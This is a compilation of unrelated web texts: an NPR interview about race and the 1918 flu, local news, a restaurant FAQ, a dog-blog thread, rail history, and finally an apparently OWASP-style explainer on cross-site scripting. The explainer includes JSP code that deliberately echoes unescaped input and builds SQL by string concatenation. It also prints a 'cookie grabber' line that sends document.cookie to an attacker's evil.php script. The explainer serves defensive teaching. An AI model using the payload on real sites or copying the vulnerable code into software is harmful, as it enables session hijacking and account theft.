Two years ago, Julia lost her family in a tragic accident. Her husband drowned trying to save their daughter, Lily, in the river near their rural home. But the little girl's body was never found - and Julia believes Lily is somehow still alive.
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Racial Disparities Emerge During Epidemics — Like The 1918 Flu
In American epidemics, race is a pre-existing condition, writes Soraya Nadia McDonald. Well, the coronavirus is no exception. So far, from the Midwest to the mid-Atlantic to the Mississippi Delta, the coronavirus has hit African Americans especially hard. One-third of the Americans hospitalized in March were black. That's despite being only 13% of the U.S. population. McDonald, who is culture critic for ESPN's The Undefeated, writes that while viruses don't discriminate, people do. And she goes back to the flu pandemic of 1918 to trace how systemic and longstanding this is.
Soraya Nadia McDonald, welcome.
SORAYA NADIA MCDONALD: Thank you for having me.
KELLY: So describe what was happening in 1918. You write that African Americans were more likely to live in conditions where disease might spread and then, if they did get sick, less likely to get good medical care.
MCDONALD: Exactly. So it should be understood overall that there wasn't necessarily great medical care for the flu period. You know, the standard sort of treatment for the flu would be, like, lots of rest, lots of fluids and stay away from other sick people.
KELLY: Which sounds familiar.
MCDONALD: Exactly, right? But, like, even within that framework, black people during the 1918 flu pandemic are still at a disadvantage, and most of those reasons have to do with structural racism.
KELLY: Yeah. I mean, give me this specific example of Chicago in 1918, which you write about.
MCDONALD: This pandemic basically hits right before the U.S. is entering World War I but also, like, right in the middle of the Great Migration. And so what that means is that you have black folks who are coming up to Chicago from the South who are basically fleeing sort of extraordinarily violent racism in the form of lynching, in the form of sexual violence - all these things that are propelling black people to move further north. And what happens is that they're not necessarily greeted with open arms. There's already this sort of alarmism even before the flu breaks out.
KELLY: Just looking at the pictures that go with your article - I'm looking at the wards where they were being treated literally in basements.
MCDONALD: Literally in basements, yes. So you can imagine, right? It's small, enclosed, not a whole lot of sunshine. You know, they're often really dank. There's usually a moisture that we associate with basements. None of those things are ideal conditions if you're a sick person who has the flu.
Even the flu itself sort of becomes pathologized, and black people sort of get blamed for it even though everyone is getting sick. You know, so the - you know, you see folks who are basically saying, oh, they're bringing this infection with them. You know, and that is not necessarily, you know, a view that could be considered outside of the mainstream because you have a reporter for The Chicago Daily Tribune, as it was known at the time, who's writing these articles saying as much.
KELLY: I mean, it resonates in so many painful ways today. I'm guessing many Asian Americans listening might feel the resonance of that, you know, in the way that we have heard the current coronavirus being called the Wuhan virus or the China virus.
MCDONALD: Exactly. So that goes sort of across class lines. That's the other thing that you see in sort of these parallels between 1918 and 2020 in terms of this sort of racialized scapegoating.
KELLY: You sound, sadly, not shocked that we're seeing these numbers of African Americans that are out of whack with the general population.
MCDONALD: Yeah because, like, these are sort of longstanding problems, right? We can still see the legacies, say, of redlining in Chicago. You know, we can still see housing inequality in New York and all of these other cities across the country, you know, where black people basically flocked during this part of the 20th century. You know, like, Detroit is another example. And so really, I think what we see is happening is just a magnified example of all of these inequalities that have basically preexisted.
KELLY: Soraya Nadia McDonald of ESPN's The Undefeated talking there about her article headlined "In 1918 And 2020, Race Colors America's Response To Epidemics."
Soraya, thank you.
MCDONALD: Thank you so much. Transcript provided by NPR, Copyright NPR.

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Over the years, the Ellarslie Open has become a significant exhibition, drawing on the work of professional artists from the tri-state region and beyond, while encouraging and recognizing emerging artists. Today, the Ellarslie Open serves as New Jersey's premier annual juried exhibit, with acceptance into the show being highly coveted by area artists. 2017 broke all records for submissions and accepted pieces. From these, the juror created a show with a remarkably diverse aesthetic, including styles from abstract expressionism to Delaware Valley impressionist landscapes to painterly detailed still lifes to Cubism and more.
Heather Campbell Coyle is Chief Curator and Curator of American Art at the Delaware Art Museum. She is the editor and lead author of several catalogues, including Howard Pyle: American Master Rediscovered, Fashion, Circus, Spectacle: Photographs by Scott Heiser, and John Sloan's New York. A specialist in the art of the Ashcan School, she has also published and curated exhibitions on Leonard Baskin, Harold Edgerton, William Glackens, Gertrude Käsebier, Bruce Katsiff, and the Society of Independent Artists. Dr. Coyle lectures and researches primarily on photography, illustration, and American art from the late nineteenth and early twentieth centuries. Her projects for 2018 include the exhibitions African American Art: Migration and Modernism, Danny Lyon: Memories of the Southern Civil Rights Movement, and Drawings of the Montgomery Bus Boycott: Harvey Dinnerstein and Burton Silverman.
Thank you to the 277 artists who submitted 516 works. Congratulations to the artists with accepted work. And many thanks to Heather Coyle for a fine job as juror. Our patrons will be delighted by a show full of surprises.
John Gummere Friday Night Lafayette St.
Over pastries and breakfast beverages, Juror Heather Coyle will discuss how works in Ellarslie Open 35 were selected.


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But I have a party of 12, can you take a booking?
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But what if I can't use Hashi (chopsticks)?
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Do you have any Vegan or Vegetarian options?
Do you have a time limit on the Tables like other busy cheap Izakayas?
Do you have Wheelchair / Disabled access?
I can't sit on the floor, do you have any tables or chairs?
We have almost none. We have strainers in our sinks & we don't cook anything in oil with no fatty animal or dairy products. We don't even have butter!
We use tensoge hashi (disposable chopsticks) they are made from a very renewable fast growing grass, bamboo!! We don't use wooden chopsticks because many of them come from non-plantation timber and use more resources to produce. We have also eliminated the paper sleeves that usually wrap them and instead wrap them with your napkin saving on wastage.
Our serving dishes are renewable & recyclable disposable pine boats that don't require any washing water or washing chemicals & can be disposed of as green waste to be turned into compost (along with our hashi), The majority of our drinks are served in Tokkuri (a refillable container) or recyclable glass / aluminium.
Please keep it to yourself. We feel that we have taken all reasonable steps possible for our industry. Your environmental efforts would be much better targeted at the large franchises that inefficiently raise and slaughter millions of animals and produce vast volumes of liquid and solid waste.


NOT FOLLOWING THE RULES, THE ECHOING WATERS SWIRLED AMONGST THE SACREDNESS OF BEING.
TORN BY SLEEP, THE KNIGHTS OF INFAMY HAVE BEEN BORN INTO THE VELVET CRUSADE.
ANGELS, SURROUNDING AN EXCLAMATION OF SECRECY, QUIETLY WITHDREW INTO THE NIGHT.
A DARKENED SCULPTURE DESIGNED BY FRAGMENTED TEARS ECHOED INTO THE WILDERNESS.
AGAINST THE VALLEY OF THE TRIPLE MOON PEACE AWAITS.
ROUND & ROUND THROUGH A PRISM OF BLOOD, ARTISTS ON THE PARISIAN EDGE GO OFF IN SEARCH OF SANCTUARY IN THE FOREST OF GOD.
A HARP OF GOLDEN SAND WAS MIXED ETHEREALLY BY GILDED SEWING THEN TORN INTO TOMORROW'S SORROWS.
MESMERIZING ADVENTURE THAT RESTRUCTURES TIME TO OPEN NIRVANA CONTINUES TO SOAR OPENLY LIKE A KITE AMONGST THE SUPERNATURAL.
FLARED LIGHT, GREEN BY DESIGN, WAS COLORED BY WAXING SAND.
PAISLEY VELVET MOONBEAMS RESTING UPON EARTH'S BODY.
INTRIGUING ANIMORPHS OF THE NETHERWORLD HAD MELTED INTO THE COSMOS OF STARS & HAPPENSTANCE THAT ANCHORED THE NETHERWORLD FOR ETERNITY.
WATCHING WATER WHILE RISKING IT ALL, PLAYBILLS AND PIANOS HAVE BEEN TRYING TO COME HOME WHILE WALKING THROUGH A SWAMP OF COLOR.
WALKING THROUGH DIAMONDS, THE OSTRICH HAD BEGUN TO FORMULATE DUSTED LACE FROM ECHOING WATER.
WASHING THROUGH THE RAIN THE SILVER SPIDERS HAD THE FORTITUDE TO REBUILD THE ARCHAIC PAISLEY DREAM.


Next, we are going to give our model more highlights, along with adding an outer glow to really bring out her heat. 1. Clip and create new layer into your model.
26/11/2018 · In a new pixlr editor image use the gradient tool to add a sky blue. 10 points Then add a layer and use a large round brush to draw a desert. 5 points Use the wand tool to select the desert and then apply a gradient color that contains to different shades of tan.
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This clever St Patrick Day graphic was created by my friend, Jeff Schinkel, aka Kar2oonMan, last year. He did not watermark his image. George Takei (who had 3.6 million fans at the time) somehow came across this graphic and posted it on his very popular Facebook Fan Page.


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Nerds Unite!
Posted on March 22, 2018 March 21, 2018 by American Writers Museum
Do you ever feel like you're stranded on an island and the only person who understands you is a washed-up volleyball with a face painted on it in blood? Maybe you call that volleyball "Wilson" and you talk to it about this book you just can't put down or a Netflix show you watched an entire season of in one sitting last Saturday or any other obsession you feel has gone too far to share. Wilson might not say anything back, but at least Wilson understands.
We understand that feeling too. And so do The Nerdologues, a comedy group of self-proclaimed nerds who perform sketches, record podcasts, play music and do just about anything else that grabs their attention. They embrace such single-minded obsession and lovingly refer to it as "disastrous earnestness."
"Nerdiness isn't what a person likes but how they like it. Anyone can be a nerd about anything," says Nerdologues member Eric Garneau. "We're making space for people who love stuff so much it's a little embarrassing."
We couldn't agree more. Here at the American Writers Museum we are book nerds and word nerds and nerds who will always take time to make a silly rhyme. Which is why we are excited to have the Nerdologues record their next Your Stories podcast here at the AWM March 31. Their recurring podcast Your Stories combines comedy, rock and roll, and storytelling into an honest, laugh-out-loud show taped in front of a live audience. And this time they are doing a special Cast Away edition in collaboration with International Tom Hanks Day (THD). Yes, Tom Hanks Day is a real thing and yes, it's just as wonderful as it sounds.
The Tom Hanks Day organization will bring a typewriter signed by Tom Hanks that attendees are encouraged to type on. The stories, letters and notes will be sent to Hanks following the event. In addition, THD will donate $5 for every ticket sold to Lifeline Energy, a Hanks-endorsed charity that provides crank and solar-powered radios to remote areas of the world. This is the third year in a row THD and The Nerdologues have teamed up for this special event and it has proven to be a good fit.
"[The Nerdologues] are a group of creatively brilliant people doing exactly what we are trying to do," says THD co-founder Kevin Turk. "Create an outlet for people to get together and forget their differences while celebrating their shared interests."
This year, the theme is Cast Away, but that is a loose theme that can be interpreted any number of ways, which is the beauty of the Your Stories podcast series. Stories might be about feeling alone or losing someone you love or persistence or talking to volleyballs, but no matter the topic the stories will be compelling, honest and in the end convey a sense of community. Because that's what The Nerdologues and Tom Hanks Day are all about.
"At the heart of it all though," says Garneau, "[we] are a group of people making stuff because [we] love it. We strive to make connections through inclusivity, earnestness, friendship, and laughs no matter what our current project is."
The Nerdologues will record the Your Stories: Cast Away Edition podcast March 31 at the American Writers Museum at 6:30 pm. The evening will consist of live music, stories from writers, performers and friends, and surely some laughs. Complimentary drinks and snacks will also be provided. Get your tickets here!
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In many ways, it seems that demand for rail intermodal has skyrocketed overnight, but in reality its success has been more than a century in the making.
Below are six unique milestone that have contributed to the development of the safe, reliable and cost-effective intermodal rail network we have today.
Also known as "circus style," "piggybacking" of wagons was pioneered in 1872 by P.T. Barnum's circus. Barnum developed a crossover plate that allowed horses to pull circus wagons onto and off of trains via a single ramp. Once onboard, circus wagons were rolled from train car to train car, a streamlined process that saved time, effort and money. In 1936, the Chicago Great Western Railroad built upon this approach when it modified several hundred truck trailers and loaded them onto its trains — making the railroad the first to move trailers and ushering in commercial intermodal.
While intermodal piggybacking existed as early as the 1930s, it was the invention of a simple steel container that established intermodal as we know it today. In 1952, Alaska Steamship Company created the first intermodal shipping container by converting World War II victory ships into vessels capable of handling shipping containers that could carry virtually any product. Starting in 1956, Malcom McLean and his new company, Sea-Land, began working with maritime shippers, freight railroads and truckers to develop a common standard, which allowed the containers to be easily transferred across modes of transport. Today, the shipping container has largely eliminated the need for handling individual pieces of cargo, resulting in drastically reduced shipping costs and delivery time. Alaska Steamship and McLean's invention directly shaped international supply chains still used today.
Early rail uses of shipping containers were inefficient since only a very limited amount of cargo could be loaded on a single railcar or train. In 1977, Malcom McLean partnered with the Southern Pacific Railroad (SP) to create and test the first double stacked intermodal rail car. The test was a success, and by 1980, efforts to improve rail economics led to the ability to stack containers on rail cars across America. This process — logically known as "double stacking" — allows a single train to carry as much freight as hundreds of trucks. Over the years, freight railroads have raised clearances, upgraded tunnels and strengthened rail lines throughout most of America's 140,000-mile freight rail network to accommodate double stacked intermodal trains. Since railroads are four times more fuel efficient than trucks, double stacking has helped reduce greenhouse gas emissions, while greatly increasing intermodal efficiency for the industry and customers alike.
The first rail terminals were established in the 19th century during the peak of railroad development. With the advent of intermodal and McLean's shipping container, many of these original rail terminals were converted into intermodal facilities by 1960. The success of modern intermodal is largely built upon strategically located rail terminals where freight is transferred between modes. In recent years, railroads have spent billions of dollars to build and expand intermodal terminals and install modern equipment, including GPS-enabled cranes that can transfer intermodal containers between trains, trucks and ships in a matter of minutes. The strategic locations of these terminals — there are more than 180 intermodal facilities in the U.S. alone — have made railroads tremendously competitive for domestic freight shipments, and in turn, helped reduce congestion on our nation's roadways while improving shipping times for rail customers.
In 1989, trucking magnate Johnnie B. Hunt traveled from Chicago to Kansas City aboard a business train owned by the Atchison, Topeka and Santa Fe Railway. He was so impressed with the journey that he soon signed an agreement to move truck trailers on the railroad's flatcars, a major leap forward in the movement of domestic freight. Since then, truck driver shortages, increased fuel costs and congestion on our nation's aging highways — together with massive private spending and improved reliability and cost effectiveness — have resulted in railroads carrying an increasing share of domestic intermodal freight historically moved by trucks. In fact, this affordable domestic freight service has now become a competitive alternative to all-truck movements for journeys as short as a few hundred miles — proof of railroads' commitment to keep America's economy moving, whether it is across the country or around the world.
Freight rail's massive investments in cutting-edge intermodal technology have helped drive down shipping costs while improving network efficiency. At ports and terminals, railroads have invested in zero-emission electric cranes, which speed container transfer between ships, trucks and trains while cutting pollution. Optical scanners and automated gates allow trucks to more quickly enter rail facilities, reducing idling time and enhancing security. A network of "smart tracks" outfitted with detectors provide real-time feedback on the health of rail infrastructure and equipment, ensuring millions of intermodal containers safely and reliably reach their destination each year. Freight rail's continued investment in these types of high-tech innovations will drive intermodal growth in the years to come.
The partnership of trucks, trains and cargo ships helps make America's intermodal network the most efficient in the world.


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ERP Strategic Minerals makes bid to re-open Mountain Pass
Andrew Topf | April 30, 2017 | 5:46 pm
The United States' only rare earths mine could be back in business if a bid to purchase the shuttered operation through bankruptcy proceedings is successful.
Last week ERP Strategic Minerals, LLC announced that it has been selected as the "stalking horse bidder" by the Chapter 11 trustee for Molycorp Minerals LLC, a unit of Molycorp, which operated the mine in San Bernadino County, California, before closing it in 2015 due to low rare earths prices.
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"This is a complex venture which requires the skills of a reputable, high-quality team with best-in-class technical expertise in the mining sector": ERP Strategic Minerals CEO Tom Clarke
In a press release, ERP, which is part of the Virginia-based ERP Group of Companies, said it is working with Pala Investments Limited, a Swiss-based company focused on mining and metals, and Peak Resources Ltd., (ASX:PEK) an Australian firm, which is developing a rare earths mine in Tanzania, to bring the mine back into operation. "The consortium would provide financial, technical and operational support, to ERP for the restart and operation of the Mountain Pass mine, subject to applicable regulatory approvals and finalization and closing of mutually acceptable arrangements," states the release.
Russian-born billionaire Vladimir Iorich established Pala Investments in 2007, which was part of a buyout group bidding for the mine's assets, the Wall Street Journal reported in February.
ERP says it will work with the County of San Bernardino, California state agencies and other regulatory bodies to complete any technical studies needed for a re-start. The company has also offered to buy mineral rights and additional equipment.
"Our goal is to return the Mountain Pass mine and mineral processing operation into a viable, sustainable and environmentally responsible business in the County of San Bernardino. We have a strong track record of restarting mines acquired out of US bankruptcy and Canadian CCAA situations," said ERP CEO Tom Clarke, adding: "This is a complex venture which requires the skills of a reputable, high-quality team with best-in-class technical expertise in the mining sector."
Restarting the facility will require remediating mildly radioactive wastewater and dust from the site, according to court records quoted by Law360.
The opening bid by ERP does not mean that it will be the winner. The stalking horse bid still has to be approved by a Delaware bankruptcy court, with a hearing set for June 23. Other bids can be entertained up to June 2 and an auction is expected to occur on June 6.
Mountain Pass was the only rare earths mine operating in the United States, before it went bankrupt in 2015 – a victim of low rare earth oxide prices. At the time Molycorp listed $1.7 billion in debt. Through bankruptcy proceedings Molycorp was restructured, allowing it to receive $130 million in debt financing.
The Greenwood, Colorado- based company then moved Mountain Pass into care and maintenance, while continuing to serve customers through its production facilities in Estonia and China.
Mountain Pass was expected to be America's flagship source of rare earths. In 2010 Molycorp sensed an opportunity to capitalize on reduced rare earth oxide exports from China – which supplies about 90 percent of the world's rare earth minerals – which had caused the prices of REOs to spike. When China subsequently relaxed export rules, however, prices fell, leaving Molycorp to pay the bill for a $1.25 billion state-of-the-art processing facility.
Hit by lower rare earth prices, Molycorp warned it might not have enough money to remain in business. Three months later, it filed for chapter 11 bankruptcy protection.
WMDingbat
Molycorp will never be economically viable. It was never part of the heavy rare earth value chain. 83% of its production sells at or below cost.
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Who ends up with the full liability for site wide cleanup?


Two seizures occurred on January 16, 2010 at the border. The first took place at the Brownsville and Matamoros Bridge. A Customs officer referred a 2002 Chrysler Sebring to have a secondary inspection performed. The vehicle was being driven by a 24 year old Mexican female. While at the inspection a Canine named, "Misha" alerted to the vehicle. A more detailed inspection was done resulting in the discovery of cocaine concealed in the dashboard of the vehicle. There were a total of nine packages with a weight of 22 pounds. The second occurred at the Gateway International Bridge. Officers seized 12 pounds of cocaine that was hidden in the rear quarter panels of a 2003 Ford Expedition. A US citizen form Brownsville, Texas was driving the vehicle.


Whose bright idea was it to hold city council committee meetings on run-off election day?
It took nearly four hours for the Atlanta City Council's Committee for Human Resources and Community Development on Tuesday to finally take some kind of action on the proposed Sustainable Building Ordinance.
The ordinance, introduced to council in July, has been held in committee for months as environmentalists and developers have tried to find common ground in having more green building practices in the city of Atlanta.
In the end, the committee voted to forward the ordinance to the full council at its meeting on Monday with no recommendation. The committee also defeated an amendment that would have gutted the ordinance by making it voluntary rather than mandatory.
It was Atlanta City Councilwoman Mary Norwood who made the motion to defeat that amendment, and it was Norwood who made the motion to forward the ordinance to full council.
As soon as that vote was cast, Norwood, and her colleague, Ceasar Mitchell, rushed out of the meeting. Norwood was in the last day of a brutal run-off for mayor against former state Sen. Kasim Reed. And Mitchell also was in a run-off in the City Council President race.
Both patiently had waited as about 20 members of the public went on and on about the merits or problems with the ordinance.
Norwood said she had been at City Hall since 11:30 that morning working on that ordinance as well as an important issue that had come up about the Beltline.
"If I lose by 500 votes, I'm going to be….mad," Norwood said, catching herself before she used a word that might not be becoming.
But then she quickly added that she had no choice. If she were going to be a responsible public servant, she had to be present when important votes were to be cast. Otherwise, it would be hypocritical for her to run for mayor. If you're an elected official, that's what one does.
According to the latest Fulton County election results, Norwood came up 620 votes shy among 84,176 votes cast in the mayor's race.
Did the fact that Norwood spent more than four precious hours at City Hall on Tuesday rather than being out in the streets getting people to the polls contribute to her coming up short?
That's one of those questions that can never be answered. Obviously, it would have been wise for council to have rescheduled that meeting on another day so as not to put people running for office in that no-win situation of having to choose to campaign or to be at a committee meeting.
(Mitchell ended up winning his race handily, defeating City Councilwoman Clair Muller).
As to the sustainable building ordinance (which is actually an update of the city's existing building code), the good news that this council will have an opportunity to vote for it on Monday at its last meeting of the year.


Lily and I were contemplating getting a tattoo.
We could get one on our chest.
You guys may have just started a whole new trend! They look fantastic.
Looks great, Benny and Lilly. We might have to shave our furs to have ours show.
Very, very adorable! Ooops, I meant to bark these letters T-O-U-G-H! Tell us how much it costed and how much it hurted and then all of your furriends will talk to our moms and dads about getting a tattoo too!
I think it looks perfect. You know they really do have tatoos fur doggies...saw it on Animal Planet.
Ummmm...that furst pikture was my mum...just pulling your leash, orr am I?
Ooh, I love it! Tattoos do add a certain bad to the bone look. My name is Coco, and I really do fur-real have one. I came home with it after I visited the clinic for a little, um, girl surgery. My mom was a little upset but she got over it. It is just a little green line anyway. Hope you will visit my blog because I mentioned you guys in my very first post and follow your blog every day!
You two are so very cool!! I think may have to ask MAma if I can get one too!!
Well, I think you both look just fine the way you are naturally, but if you want tatoos that's your right as canine-Americans, I guess. And your choices are most attractive as well.
I think they look absolutely stunning! I just can't get over how cute you two are!!
How cool they look! You guys are always on the cutting edge of a new fashion!
Ooooh, very chic, you are a couple of fashion icons!
Hmmm, why not your ears? There's plenty of room! Bahhh!
I'm not doing it UNLESS Ruby and Penny Insist!! I don't think too highly of needles.
I don't think you'll catch any of us guys getting tatted up. I don't think it would show through our fur, anyway.
What are woo getting next?
Ha Ha Ha!! Yousa two's are funnies!!
We likes 'dem!! Pretty hip!!
Wow, that is so cool. Mommy won't let me get one. She said I could get a temporary tatoo, but when I take a bath it will wash off. Y'all look tough and cute.
Are those permanent or just temporary?BOL!
My Dad has those things all over him, I like yours a lot better though.
They suit you quite well. Did it hurt?
They look great! Very different from all the cat ear tattoos we've seen.
OMG, those stars are so cute!
I love it! They look fabulous.
Perfect choices- you should definatly do it.
Hi Benny and Lily, it's so great to meet you!:) We love tattoos. Your new tattoos look very cool!
Oh, you two are soooooo cute!!
Ben - the star on your shoulder totally rocks, but the one on your head, um... not so sure.
Oh and did you see someone suggested that all I needed in my chess post last Wedsday was Benny to be the white knight chesspiece? BOL!
I don't know about tattoos. Sometimes it can lead to hanging out with rough trade doggies. Of course I doubt the little mermaid is a tattoo of choice with that crowd.
We like you both just the way you are! You are way cool enough guys.
My dad said "high paw" to your tattoos - he has lots of his own!


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Trophy for best oval driver named for Foyt
FORT WORTH - The oval racing champion in the IndyCar Series will get a trophy named after A.J. Foyt, the four-time Indianapolis 500 winner who was chosen by fans as the best oval driver.
"See, I still have one or two fans," Foyt said. "I don't know about legend. I'm just old A.J. ... It is a great honor to have this award and trophy named after me."
New series CEO Randy Bernard said the fans obviously made the right choice.
"Of course, it should be the A.J. Foyt award," Bernard said.
In addition to its overall season champion, the IndyCar Series will recognize champions for its two distinct driving disciplines, oval courses and then road and street courses.
Foyt, now a car owner in the series, was one of the most successful Indy-car drivers with 67 victories. Of those, 64 came on ovals.
"I'm tool old and fat to get in one, or I'd probably try to (race) again," Foyt said, with a laugh.
The announcement of the driver who will be honored on the trophy for the road/street course champion will be announced at Watkins Glen next month.
• Dirty dream
Tony Kanaan will be racing in the dirt for charity Wednesday night.
After testing in his No. 11 Andretti Autosport IndyCar Series car at Watkins Glen during the day, Kanaan will be headed to Eldora Speedway, the Tony Stewart-owned dirt track in Rossburg, Ohio, to take part in the Prelude to the Dream charity race.
NASCAR stars such as Kyle Busch, Carl Edwards and Jimmie Johnson also are taking part in the event. Drivers will be split into four teams and compete in hot laps, qualifying, heat races and a 30-lap feature in 2,300-pound Late Model stock cars.
"I'm thrilled to have the chance to compete in the Prelude to the Dream," Kanaan said. "It's an amazing lineup of drivers and we're all competing for such a good cause. ... I'm definitely going to have some fun next week."
• No bull ride
New IndyCar CEO Randy Bernard finally got a feel of what it's like on the track in one of the open-wheel cars.
Bernard took a two-seater ride at Texas on Saturday with three-time Indy 500 champion Johnny Rutherford. Their top speed was about 175 mph, about 40 mph slower than polesitter Ryan Briscoe's four-lap qualifying average.
"I've never had an experience like that in my life," Bernard said. "I can't even fathom going faster than we did. I was blown away with how fast we were going."
Before joining the IndyCar Series in March, Bernard was CEO of the Professional Bull Riders the past 15 years. He never got on a mechanical bull.
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Cross-Site Scripting attacks are an instantiation of injection problems, in which malicious scripts are injected into the otherwise benign and trusted web sites.
Cross-Site Scripting (XSS) vulnerabilities occur when:
Data enters a Web application through an untrusted source, most frequently a web request.
The data is included in dynamic content that is sent to a web user without being validated for malicious code.
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.
Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.
An attacker can use XSS to send malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.
XSS attacks can generally be categorized into two categories: stored and reflected. Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user's browser. The browser then executes the code because it came from a 'trusted' server.
The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. Do not be fooled into thinking that a "read only" or "brochureware" site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user's session cookie, allowing an attacker to hijack the user's session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, and modifying presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company's stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.
Attackers frequently use a variety of methods to encode the malicious portion of the tag, such as using Unicode, so the request is less suspicious looking to the user. There are hundreds of variants of these attacks, including versions that do not even require any < > symbols. For this reason, attempting to "filter out" these scripts is not likely to succeed. Instead we recommend validating input against a rigorous positive specification of what is expected. XSS attacks usually come in the form of embedded JavaScript. However, any embedded active content is a potential source of danger, including: ActiveX (OLE), VBscript, Shockwave, Flash and more.
XSS issues can also be present in the underlying web and application servers as well. Most web and application servers generate simple web pages to display in the case of various errors, such as a 404 'page not found' or a 500 'internal server error.' If these pages reflect back any information from the user's request, such as the URL they were trying to access, they may be vulnerable to a reflected XSS attack.
The likelihood that a site contains XSS vulnerabilities is extremely high. There are a wide variety of ways to trick web applications into relaying malicious scripts. Developers that attempt to filter out the malicious parts of these requests are very likely to overlook possible attacks or encodings. Finding these flaws is not tremendously difficult for attackers, as all they need is a browser and some time. There are numerous free tools available that help hackers find these flaws as well as carefully craft and inject XSS attacks into a target site.
Confidentiality: The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies.
Access control: In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws
Exposure Period
Implementation: If bulletin-board style functionality is present, cross-site scripting may only be deterred at implementation time.
Language: Any
Platform: All (requires interaction with a web server supporting dynamic content)
Required Resources
Likelihood of Exploit
Avoidance and Mitigation
Implementation: Use a white-list style parsing routine to ensure that no posted content contains scripting tags.
Implementation: If certain characters such as less-than and greater-than ought to be allowed, make sure to escape them to their HTML entity equivalents prior to storing them.
Cross-site scripting attacks can occur wherever an untrusted user has the ability to publish content to a trusted web site. Typically, a malicious user will craft a client-side script, which - when parsed by a web browser - performs some activity (such as sending all site cookies to a given E-mail address).
If the input is unchecked, this script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
There are several other possible attacks, such as running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy; cookie theft is however by far the most common.
All of these attacks are easily prevented by ensuring that no script tags - or for good measure, HTML tags at all - are allowed in data to be posted publicly.
Vulnerability Examples
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.
The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality.
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.
<% String eid = request.getParameter("eid"); %>
Employee ID: <%= eid %>
The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.
Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
Employee Name: <%= name %>
As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:
As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.
As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
Attack Examples
Example 1 : Cookie Grabber
If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.
Related Attacks
XSS Attacks
Category:Injection Attack
Invoking untrusted mobile code
